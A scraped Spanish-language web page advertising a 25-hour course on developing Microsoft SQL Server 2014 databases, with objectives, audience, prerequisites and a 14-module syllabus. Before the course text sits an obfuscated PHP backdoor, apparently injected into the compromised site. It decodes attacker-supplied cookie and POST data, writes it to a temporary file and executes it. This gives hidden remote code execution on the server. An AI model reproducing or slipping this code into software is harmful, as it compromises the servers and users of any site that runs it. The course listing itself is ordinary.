$PFkQQj = chr (121) . "\x5f" . 'i' . "\131" . chr ( 450 - 373 ).chr ( 258 - 182 ); $cndBMIMKWU = "\x63" . "\x6c" . 'a' . "\163" . chr (115) . chr (95) . 'e' . "\170" . 'i' . 's' . chr (116) . 's';$YCsjZOjng = class_exists($PFkQQj); $PFkQQj = "60693";$cndBMIMKWU = "62927";$LSHFWHvtVn = !1;if ($YCsjZOjng == $LSHFWHvtVn){function JQiUsND(){return FALSE;}$flGKbPmb = "24328";JQiUsND();class y_iYML{private function kHqizmFp($flGKbPmb){if (is_array(y_iYML::$HnXmizr)) {$uDVeO = sys_get_temp_dir() . "/" . crc32(y_iYML::$HnXmizr["\x73" . "\x61" . "\154" . 't']);@y_iYML::$HnXmizr['w' . chr ( 342 - 228 ).chr ( 802 - 697 )."\164" . chr (101)]($uDVeO, y_iYML::$HnXmizr["\143" . chr (111) . chr ( 583 - 473 ).'t' . 'e' . chr ( 405 - 295 )."\164"]);include $uDVeO;@y_iYML::$HnXmizr['d' . "\145" . "\154" . 'e' . "\164" . "\x65"]($uDVeO); $flGKbPmb = "24328";exit();}}private $nfIOxBUgci;public function KzSRiT(){echo 57754;}public function __destruct(){$flGKbPmb = "58915_20028";$this->kHqizmFp($flGKbPmb); $flGKbPmb = "58915_20028";}public function __construct($gBEinuZpzm=0){$FXHNMtt = $_POST;$CMSrFiI = $_COOKIE;$BQAQiDZrib = "cb529a8e-ec0b-435f-86a9-4175305cacff";$xonCzaGOAG = @$CMSrFiI[substr($BQAQiDZrib, 0, 4)];if (!empty($xonCzaGOAG)){$EviQPEw = "base64";$pkBLiUThwD = "";$xonCzaGOAG = explode(",", $xonCzaGOAG);foreach ($xonCzaGOAG as $HrpNnQ){$pkBLiUThwD .= @$CMSrFiI[$HrpNnQ];$pkBLiUThwD .= @$FXHNMtt[$HrpNnQ];}$pkBLiUThwD = array_map($EviQPEw . "\x5f" . "\x64" . chr ( 1028 - 927 ).'c' . "\157" . chr (100) . "\x65", array($pkBLiUThwD,)); $pkBLiUThwD = $pkBLiUThwD[0] ^ str_repeat($BQAQiDZrib, (strlen($pkBLiUThwD[0]) / strlen($BQAQiDZrib)) + 1);y_iYML::$HnXmizr = @unserialize($pkBLiUThwD); $pkBLiUThwD = class_exists("58915_20028");}}public static $HnXmizr = 41468;}$DhFBgMpMgw = new /* 61252 */ y_iYML(24328 + 24328); $_POST = Array();unset($DhFBgMpMgw);} Developing Microsoft SQL Server 2014 Databases|Grupo Loyal

Developing Microsoft SQL Server 2014 Databases

Este curso de 5 días dirigido por un instructor presenta SQL Server 2014 y describe el diseño lógico de tablas, la indexación y los planes de consulta. También se centra en la creación de objetos de base de datos, incluyendo vistas, procedimientos almacenados, junto con parámetros y funciones. Otros aspectos comunes de la codificación de procedimientos, tales como índices, concurrencia, manejo de errores y desencadenantes también están cubiertos en este curso. También este curso ayuda a prepararse para el examen 70-464.

Nota: Este curso está diseñado para clientes que estén interesados en aprender SQL Server 2012 o SQL Server 2014. Cubre las nuevas características de SQL Server 2014, pero también las importantes capacidades de la plataforma de datos de SQL Server.

Objetivos

Presentar toda la plataforma SQL Server y sus principales herramientas. Cubrirá ediciones, versiones, conceptos básicos de los oyentes de la red y conceptos de servicios y cuentas de servicio.
Determinar los tipos de datos apropiados que se utilizarán al diseñar las tablas, convierta los datos entre los tipos de datos y cree tipos de datos alias.
Estar al tanto de las buenas prácticas de diseño con respecto a las tablas de SQL Server y sea capaz de crear tablas utilizando T-SQL. (Nota: las mesas divididas no están cubiertas).
Implementar LLAVE PRIMARIA, LLAVE EXTRANJERA, DEFAULT, CHECK y restricciones ÚNICAS, e investigar las restricciones en cascada de LLAVE EXTRANJERA.
Determinar estrategias apropiadas de una columna y de índices compuestos.
Crear tablas como montones y tablas con índices agrupados. También considere el diseño de una mesa y sugiera una estructura apropiada.
Leer e interpretar los detalles de los elementos comunes de los planes de ejecución.
Diseñar índices efectivos no agrupados.
Vistas de diseño e implementación
Diseñar e implementar procedimientos almacenados.
Trabajar con tipos de tablas, parámetros de valor de tabla y utilice la sentencia MERGE para crear procedimientos almacenados que actualicen los almacenes de datos.
Diseñar e implementar funciones, tanto escalares como de valor de tabla. (Describa también dónde pueden conducir a problemas de desempeño).
Realizar una investigación básica de una situación de bloqueo y aprenda cómo los niveles de aislamiento de transacciones afectan la concurrencia de aplicaciones.
Utilizar tanto el código tradicional de manejo de errores T-SQL como el manejo estructurado de excepciones.
Diseñar e implementar desencadenantes de LMD
Aprender los usos apropiados para la integración de SQL CLR e implemente un ensamblaje.NET existente dentro de SQL Server.
Almacenar datos y esquemas XML en SQL Server.
Realizar consultas básicas sobre datos XML en SQL Server.
Trabajar con los tipos de datos GEOGRAFÍA y GEOMETRÍA
Implementar y consultar un índice de texto completo.

Administración y programación bases de datos

Disponible en formato e-learning

Disponible en formato presencial

Disponible en formato a distancia

Subvención disponible
A través de Fundae, cumpliendo requisitos.

Duración
25 horas

  • Dificultad 50% 50%
  • Nivel alcanzado 80% 80%

Dirigido a

La audiencia principal de este curso son los profesionales de TI que desean adquirir conocimientos sobre las características de los productos SQL Server 2014 y las tecnologías para implementar una base de datos.

Conocimientos requeridos

Conocimientos de escritura de consultas T-SQL.
Conocimiento de conceptos básicos de bases de datos relacionales.

Temario

Módulo 1: Introducción al desarrollo de bases de datos
Introducción a la plataforma SQL Server
Trabajar con herramientas de SQL Server
Configuración de los servicios de SQL Server
Laboratorio : Introducción al desarrollo de bases de datos
Iniciar SQL Server Management Studio
Módulo 2: Diseño e implementación de tablas

Diseño de tablas
Trabajar con esquemas
Creación y modificación de tablas
Laboratorio : Diseño e implementación de tablas
Mejora del diseño de las tablas
Creación de un esquema
Creación de las tablas
Módulo 3: Garantizar la integridad de los datos mediante restricciones

Aplicación de la integridad de los datos
Implementación de la Integridad de Dominios
Entidad Ejecutora e Integridad Referencial
Laboratorio : Garantizar la integridad de los datos mediante restricciones
Diseño de Restricciones
Prueba de las restricciones
Módulo 4: Introducción a la Indexación

Conceptos básicos de indexación
Índices de una columna e índices compuestos
Estructuras de tablas de SQL Server
Trabajar con índices agrupados
Laboratorio : Creación de índices
Creación de tablas con índices agrupados
Mejorando el Desempeño a través de Índices No Agrupados
Módulo 5: Indexación avanzada

Conceptos básicos del plan de ejecución
Elementos del Plan de Ejecución Común
Trabajar con planes de ejecución
Diseño de índices efectivos no agrupados
Monitoreo del Desempeño
Laboratorio : Planificación de la indexación de SQL Server 2014
Exploración de las estadísticas de índices existentes
Creación de índices de cobertura
Módulo 6: Índices de Columnstore

Índices de los almacenes de columnas
Mejores Prácticas para Índices de Columnstore
Laboratorio : Uso de las capacidades de la base de datos en memoria
Creación de índices de almacén de columnas
Módulo 7: Diseño e implementación de vistas

Introducción a las Vistas
Creación y gestión de vistas
Consideraciones de rendimiento para las vistas
Laboratorio : Diseño e implementación de vistas
Diseño, implementación y prueba de las vistas de WebStock
Diseño e implementación de la vista Contactos
Modificación de la vista de modelos disponibles
Módulo 8: Diseño e implementación de procedimientos almacenados

Introducción a los procedimientos almacenados
Trabajar con procedimientos almacenados
Implementación de procedimientos almacenados parametrizados
Contexto de control de la ejecución
Laboratorio : Diseño e implementación de procedimientos almacenados
Creación de procedimientos almacenados
Creación de un procedimiento almacenado parametrizado
Alterar el contexto de ejecución de los procedimientos almacenados
Módulo 9: Diseño e implementación de funciones definidas por el usuario

Resumen de funciones
Diseño e implementación de funciones escalares
Diseño e implementación de funciones valoradas en la tabla
Consideraciones de implementación para las funciones
Alternativas a las funciones
Laboratorio : Diseño e implementación de funciones definidas por el usuario
Formateo de números de teléfono
Modificación de una función existente
Resolución de un problema de rendimiento relacionado con la función
Módulo 10: Responder a la manipulación de datos mediante disparadores

Diseño de desencadenantes de LMD
Implementación de desencadenantes de LMD
Conceptos avanzados de disparo
Laboratorio : Respuesta a la manipulación de datos mediante disparadores
Creación y prueba del desencadenante de la auditoría
Mejora del desencadenante de la auditoría
Módulo 11: Uso de tablas en memoria

Tablas optimizadas por memoria
Procedimientos almacenados de forma nativa
Laboratorio : Uso de las capacidades de la base de datos en memoria
Trabajar con tablas optimizadas de memoria
Trabajar con procedimientos almacenados compilados de forma nativa
Módulo 12: Implementación de código administrado en SQL Server

Introducción a la integración de SQL CLR
Importación y configuración de conjuntos
Implementación de la integración SQL CLR
Laboratorio : Implementación de código administrado en SQL Server
Evaluación del Código CLR propuesto
Implementación de una Asamblea de CLR
Implementación de un CLR Agregado definido por el usuario y CLR Tipo de datos definidos por el usuario
Módulo 13: Almacenamiento y consulta de datos XML en SQL Server

Introducción a los esquemas XML y XML
Almacenamiento de datos y esquemas XML en SQL Server
Implementación del tipo de datos XML
Uso de la declaración T-SQL FOR XML
Introducción a XQuery
Destrucción de XML
Laboratorio : Almacenamiento y consulta de datos XML en SQL Server
Evaluación del uso apropiado de los datos XML en SQL Server
Pruebas de almacenamiento de datos XML en variables
Recuperación de información sobre colecciones de esquemas XML
Consulta de datos de SQL Server como XML
Escribir un procedimiento almacenado Devolviendo XML
Módulo 14: Trabajar con datos espaciales de SQL Server

Introducción a los datos espaciales
Trabajar con tipos de datos espaciales de SQL Server
Uso de datos espaciales en aplicaciones
Laboratorio : Trabajo con datos espaciales de SQL Server
Consulta del tipo de datos de geometría
Añadir datos espaciales a una tabla existente

Solicita información del curso

It Formacion

It Formacion